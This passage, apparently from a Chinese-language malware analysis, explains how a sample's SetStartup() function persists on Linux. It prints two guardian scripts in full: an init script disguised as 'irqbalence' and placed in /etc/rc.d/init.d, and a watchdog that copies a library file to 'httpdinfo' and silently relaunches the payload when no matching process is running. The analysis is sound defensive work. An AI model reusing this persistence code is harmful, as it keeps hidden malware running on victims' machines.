function SetStartup(){}中分别添加守护程序到Linux启动项目录、定时任务,以达到反复执行shell的目的。
守护脚本1:
guarderText="#!/bin/sh # chkconfig: 12345 90 90 # description: irqbalence ### BEGIN INIT INFO # Provides: irqbalence # Required-Start: # Required-Stop: # Default-Start: 1 2 3 4 5 # Default-Stop: # Short-Description: irqbalence ### END INIT INFO case \$1 in start) /usr/bin/irqbalence ;; stop) ;; *) /usr/bin/irqbalence ;; esac"
将guarderText内容写入启动目录/etc/rc.d/init.d目录下,从而在启动时执行。
守护脚本2:
guarderText2="#!/bin/sh PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:/usr/X11R6/bin for i in \`cat /proc/net/dev|grep :|awk -F: {'print \$1'}\`; do ifconfig \$i up& done if [ ! -f \"$DownloadPath/$ShellProceName\" ]; then \cp -rf /lib/libterminfo.so $DownloadPath/httpdinfo fi test=0 for i in /proc/* do if [ -d \"\$i\" ] && [ \"\$i\" != \"/proc/\$\$\" ];then if [ -f \"\$i/exe\" ]; then temp=\`ls -l \$i | grep exe | grep /bin/bash\` if [ \"\$temp\" != \"\" ]; then temp=\`cat \$i/cmdline\` result=\$(echo \"\$temp\" | grep \"$ShellProceName\") if [ \"\$result\" != \"\" ]; then test=1 break fi fi fi fi done if [ \"\$test\" = 0 ]; then (exec $DownloadPath/httpdinfo &> /dev/null &) fi"